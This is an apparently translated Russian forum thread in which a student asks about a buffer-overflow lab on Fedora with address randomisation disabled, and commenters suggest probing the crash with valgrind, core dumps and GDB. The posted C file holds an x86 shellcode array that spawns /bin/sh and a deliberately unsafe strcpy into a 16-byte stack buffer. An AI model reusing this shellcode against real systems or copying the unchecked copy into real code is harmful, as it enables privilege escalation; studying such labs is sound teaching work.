Мне предоставлен файл кода C, в котором дается правильный ввод переполнения буфера, а затем предоставляется root-доступ. Это ошибка Fedora с использованием ZShell. Чтобы проверить это (объект безопасности), мы отключили назначение адреса произвольной памяти, которое включено в ядре Linux.Проверка переполнения буфера
Меня попросят протестировать разные входы до тех пор, пока не произойдет ошибка сегментации, где вход является размером буфера. Я не понимаю, почему я должен тестировать разные значения? Я не уверен, что код поможет, но я просто не понимаю, как изменить вход.
/* vulnerable.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
unsigned char buf[] =
"\x31\xc0" /* xorl %eax,%eax */
"\x50" /* pushl %eax */
"\x68""//sh" /* pushl $0x68732f2f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\x99" /* cdql */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
/* -------------------------------------------------- */
void vuln(char * buf)
{
char a[16] = { 0 };
strcpy(a, buf);
}
int main(int argc, char * argv[])
{
int *ret;
if (argc != 2)
{
printf("Usage: %s <input>\n", argv[0]);
exit(1);
}
vuln(argv[1]);
printf("%p\n", buf);
return 0;
}
Для начала я бы рекомендовал попробовать переполнить вход в 'valgrind' и посмотреть на значения стека и т. Д. Но вы написали сборку и сами получили байт-код? Это может иметь смысл сделать это. Кроме того, убедитесь, что у вас есть исполняемый стек. Точка изменения входных данных, скорее всего, определит, что происходит со стеком. – RageD
Вы понимаете *, когда произойдет ошибка сегментации? Знаете ли вы, как вызывать это, не меняя входные данные, или предоставляете разные входные данные? Эксперимент. –
У вас, вероятно, есть заметки, чтобы выполнить задание. В какой-то момент они, вероятно, обсуждают структуру стека, перечитывают их. Когда вызывается функция 'vuln', в стеке есть некоторое пространство для (среди прочего) массива' a' и обратного адреса. Что происходит, когда вы пытаетесь записать больше данных в 'a', чем подойдет? Введите некоторые легко узнаваемые данные в качестве вашего ввода. Получите segfault и сохраните дамп ядра. Откройте дамп ядра в GDB. Теперь посмотрите на регистры. Посмотрите, можете ли вы получить определенное значение для отображения в EIP, изменяя длину ввода. –